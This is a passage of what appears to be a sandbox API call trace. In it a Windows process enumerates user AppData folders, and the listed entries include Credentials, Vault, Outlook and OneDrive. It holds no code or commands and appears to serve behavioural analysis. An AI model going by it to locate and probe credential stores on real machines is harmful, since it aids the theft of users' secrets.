lpFindFileData=0x1e0dd560*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0209.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dd7f0) returned 1 [0209.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd850) returned 1 [0209.361] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\History", nBufferLength=0x105, lpBuffer=0x1e0dd330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\History", lpFilePart=0x0) returned 0x2b [0209.361] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\History\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\history\\*"), lpFindFileData=0x1e0dd560 | out: lpFindFileData=0x1e0dd560*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0209.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dd7f0) returned 1 [0209.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd850) returned 1 [0209.364] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft", nBufferLength=0x105, lpBuffer=0x1e0dd330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft", lpFilePart=0x0) returned 0x2d [0209.364] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\*"), lpFindFileData=0x1e0dd560 | out: lpFindFileData=0x1e0dd560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6078303, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469ac0 [0209.364] FindNextFileW (in: hFindFile=0x1d469ac0, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6078303, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.364] FindNextFileW (in: hFindFile=0x1d469ac0, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6078303, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6078303, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLR_v2.0", cAlternateFileName="")) returned 1 [0209.365] FindNextFileW (in: hFindFile=0x1d469ac0, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2eec3b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x5b2eec3b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x5b2eec3b, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLR_v4.0", cAlternateFileName="")) returned 1 [0209.365] FindNextFileW (in: hFindFile=0x1d469ac0, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x73c78cc8, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLR_v4.0_32", cAlternateFileName="CLR_V4~1.0_3")) returned 1 [0209.365] FindNextFileW (in: hFindFile=0x1d469ac0, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x44687ae6, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x7ba16096, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0x7ba16096, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0209.365] FindNextFileW (in: hFindFile=0x1d469ac0, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds", cAlternateFileName="")) returned 1 [0209.366] FindNextFileW (in: hFindFile=0x1d469ac0, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x430ec4ba, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds Cache", cAlternateFileName="FEEDSC~1")) returned 1 [0209.366] FindNextFileW (in: hFindFile=0x1d469ac0, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a17d745, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x3a184b86, ftLastAccessTime.dwHighDateTime=0x1d70699, ftLastWriteTime.dwLowDateTime=0x3a184b86, ftLastWriteTime.dwHighDateTime=0x1d70699, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1 [0209.366] FindNextFileW (in: hFindFile=0x1d469ac0, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809248a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xc7db342, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xc7db342, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameDVR", cAlternateFileName="")) returned 1 [0209.366] FindNextFileW (in: hFindFile=0x1d469ac0, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization", cAlternateFileName="INPUTP~1")) returned 1 [0209.366] FindNextFileW (in: hFindFile=0x1d469ac0, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5b61023, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xf5b61023, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0xf5b61023, ftLastWriteTime.dwHighDateTime=0x1d7045f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InstallAgent", cAlternateFileName="INSTAL~1")) returned 1 [0209.367] FindNextFileW (in: hFindFile=0x1d469ac0, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4137bbef, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2061e11c, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2061e11c, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0209.367] FindNextFileW (in: hFindFile=0x1d469ac0, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40f9be3f, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40f9be3f, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x40f9be3f, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0209.367] FindNextFileW (in: hFindFile=0x1d469ac0, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5781bc17, ftCreationTime.dwHighDateTime=0x1d7046d, ftLastAccessTime.dwLowDateTime=0x696efe32, ftLastAccessTime.dwHighDateTime=0x1d7046d, ftLastWriteTime.dwLowDateTime=0x696efe32, ftLastWriteTime.dwHighDateTime=0x1d7046d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0209.367] FindNextFileW (in: hFindFile=0x1d469ac0, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87b49234, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xb1ac323a, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xb2c68d12, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive", cAlternateFileName="")) returned 1 [0209.368] FindNextFileW (in: hFindFile=0x1d469ac0, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a11bc67, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x847a2bfc, ftLastAccessTime.dwHighDateTime=0x1d8a651, ftLastWriteTime.dwLowDateTime=0x847a2bfc, ftLastWriteTime.dwHighDateTime=0x1d8a651, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1 [0209.368] FindNextFileW (in: hFindFile=0x1d469ac0, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayReady", cAlternateFileName="PLAYRE~1")) returned 1 [0209.368] FindNextFileW (in: hFindFile=0x1d469ac0, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb898985, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xb898985, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0xb9574d8, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0209.368] FindNextFileW (in: hFindFile=0x1d469ac0, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xfcb4df2e, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xfcb4df2e, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0209.369] FindNextFileW (in: hFindFile=0x1d469ac0, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87ca06a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x87ca06a1, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x87ca06a1, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~2")) returned 1 [0209.369] FindNextFileW (in: hFindFile=0x1d469ac0, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0c63cd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x377dee7, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1 [0209.369] FindNextFileW (in: hFindFile=0x1d469ac0, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0c63cd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x377dee7, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 0 [0209.369] FindClose (in: hFindFile=0x1d469ac0 | out: hFindFile=0x1d469ac0) returned 1 [0209.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dd780) returned 1 [0209.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dd740) returned 1 [0209.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd850) returned 1 [0209.370] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft", nBufferLength=0x105, lpBuffer=0x1e0dd330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft", lpFilePart=0x0) returned 0x2d [0209.370] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\*"), lpFindFileData=0x1e0dd560 | out: lpFindFileData=0x1e0dd560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6078303, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0209.370] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6078303, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.370] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6078303, ftCreationTime.dwHighDateTime=0x1d8a64d, ftLastAccessTime.dwLowDateTime=0x6078303, ftLastAccessTime.dwHighDateTime=0x1d8a64d, ftLastWriteTime.dwLowDateTime=0x6078303, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLR_v2.0", cAlternateFileName="")) returned 1 [0209.370] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2eec3b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x5b2eec3b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x5b2eec3b, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLR_v4.0", cAlternateFileName="")) returned 1 [0209.370] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x73c78cc8, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLR_v4.0_32", cAlternateFileName="CLR_V4~1.0_3")) returned 1 [0209.371] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x44687ae6, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x7ba16096, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0x7ba16096, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0209.371] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds", cAlternateFileName="")) returned 1 [0209.371] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x430ec4ba, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds Cache", cAlternateFileName="FEEDSC~1")) returned 1 [0209.371] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a17d745, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x3a184b86, ftLastAccessTime.dwHighDateTime=0x1d70699, ftLastWriteTime.dwLowDateTime=0x3a184b86, ftLastWriteTime.dwHighDateTime=0x1d70699, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1 [0209.371] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x809248a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xc7db342, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xc7db342, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameDVR", cAlternateFileName="")) returned 1 [0209.372] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3cefc6a2, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization", cAlternateFileName="INPUTP~1")) returned 1 [0209.372] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5b61023, ftCreationTime.dwHighDateTime=0x1d7045f, ftLastAccessTime.dwLowDateTime=0xf5b61023, ftLastAccessTime.dwHighDateTime=0x1d7045f, ftLastWriteTime.dwLowDateTime=0xf5b61023, ftLastWriteTime.dwHighDateTime=0x1d7045f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InstallAgent", cAlternateFileName="INSTAL~1")) returned 1 [0209.372] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4137bbef, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2061e11c, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2061e11c, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0209.372] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40f9be3f, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x40f9be3f, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x40f9be3f, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0209.372] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5781bc17, ftCreationTime.dwHighDateTime=0x1d7046d, ftLastAccessTime.dwLowDateTime=0x696efe32, ftLastAccessTime.dwHighDateTime=0x1d7046d, ftLastWriteTime.dwLowDateTime=0x696efe32, ftLastWriteTime.dwHighDateTime=0x1d7046d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0209.372] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87b49234, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xb1ac323a, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xb2c68d12, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive", cAlternateFileName="")) returned 1 [0209.373] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a11bc67, ftCreationTime.dwHighDateTime=0x1d70699, ftLastAccessTime.dwLowDateTime=0x847a2bfc, ftLastAccessTime.dwHighDateTime=0x1d8a651, ftLastWriteTime.dwLowDateTime=0x847a2bfc, ftLastWriteTime.dwHighDateTime=0x1d8a651, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1 [0209.373] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x42ce6642, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x42ce6642, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayReady", cAlternateFileName="PLAYRE~1")) returned 1 [0209.373] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb898985, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xb898985, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0xb9574d8, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, 